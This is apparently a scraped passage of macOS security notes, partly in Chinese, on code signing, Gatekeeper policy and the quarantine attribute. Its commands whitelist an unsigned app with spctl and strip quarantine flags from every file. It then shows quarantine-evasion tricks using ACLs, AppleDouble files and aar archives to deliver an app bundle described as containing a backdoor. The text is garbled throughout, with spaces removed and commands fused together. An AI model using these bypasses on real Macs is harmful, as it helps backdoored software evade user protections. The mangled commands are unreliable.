# Get signercodesign-vv-d/bin/ls2>&1|grep-E"Authority|TeamIdentifier"# Check if the app’s contents have been modifiedcodesign--verify--verbose/Applications/Safari.app# Get entitlements from the binarycodesign-d--entitlements:-/System/Applications/Automator.app# Check the TCC perms# Check if the signature is validspctl--assess--verbose/Applications/Safari.app# Sign a binarycodesign-s<cert-name-keychain>toolsdemo
# Open databasesqlite3/var/db/SystemPolicy# Get allowed rulesSELECTrequirement,allow,disabled,labelfromauthoritywherelabel!='GKE'anddisabled=0;requirement|allow|disabled|labelanchorapplegenericandcertificate1[subject.CN]="Apple Software Update Certification Authority"|1|0|AppleInstalleranchorapple|1|0|AppleSystemanchorapplegenericandcertificateleaf[field.1.2.840.113635.100.6.1.9]exists|1|0|MacAppStoreanchorapplegenericandcertificate1[field.1.2.840.113635.100.6.2.6]existsand (certificate leaf[field.1.2.840.113635.100.6.1.14]orcertificateleaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|NotarizedDeveloperID[...]
# Check if allowed - nopspctl--assess-v/Applications/App.app/Applications/App.app:rejectedsource=nousablesignature# Add a label and allow this label in GateKeepersudospctl--add--label"whitelist"/Applications/App.appsudospctl--enable--label"whitelist"# Check again - yepspctl--assess-v/Applications/App.app/Applications/App.app:accepted
</details>
然后使用以下命令**删除**该属性:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
chmod+a"everyone deny write,writeattr,writeextattr"/tmp/testditto-c-ktesttest.zippython3-mhttp.server# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
mkdirtestechoa>test/aechob>test/becho._a>test/._aaaarchive-dtest/-otest.aar# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
# Create an app bundle with the backdoor an call it app.appecho"[+] creating disk image with app"hdiutilcreate-srcfolderapp.appapp.dmgecho"[+] creating directory and files"mkdirmkdir-ps/appcpapp.dmgs/app/._app.dmgln-s._app.dmgs/app/app.dmgecho"[+] compressing files"aaarchive-ds/-oapp.aar